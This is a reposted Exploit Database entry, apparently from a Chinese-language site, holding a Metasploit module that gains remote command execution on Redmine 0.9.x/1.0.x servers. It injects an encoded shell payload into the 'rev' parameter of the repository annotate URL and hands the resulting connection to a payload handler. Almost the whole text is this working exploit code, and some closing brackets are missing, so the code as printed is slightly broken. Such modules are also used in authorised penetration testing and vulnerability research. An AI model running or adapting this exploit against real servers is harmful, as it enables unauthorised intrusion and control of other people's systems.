Redmine SCM Repository 0.9.x/1.0.x – Arbitrary Command Execution (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2011-01-08
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/16889/

# $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Redmine SCM Repository Arbitrary Command Execution',

'Description'=> %q{

This module exploits an arbitrary command execution vulnerability in the

Redmine repository controller. The flaw is triggered when a rev parameter

is passed to the command line of the SCM tool without adequate filtering.

'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 11516 $',

'References' =>

[

['OSVDB', '70090'],

['URL', 'http://www.redmine.org/news/49' ]

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

'Space' => 512,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic telnet',

}

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Dec 19 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),

], self.class)

end

def exploit

command = Rex::Text.uri_encode(payload.encoded)

urlconfigdir = datastore['URI'] + "repository/annotate?rev=<code>#{command}</code>"

res = send_request_raw({

'uri' => urlconfigdir,

'method'=> 'GET',

'headers' =>

{

'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',

'Connection' => 'Close',

}

}, 25)

if (res)

print_status("The server returned: #{res.code} #{res.message}")

else

print_status("No response from the server")

end

handler

end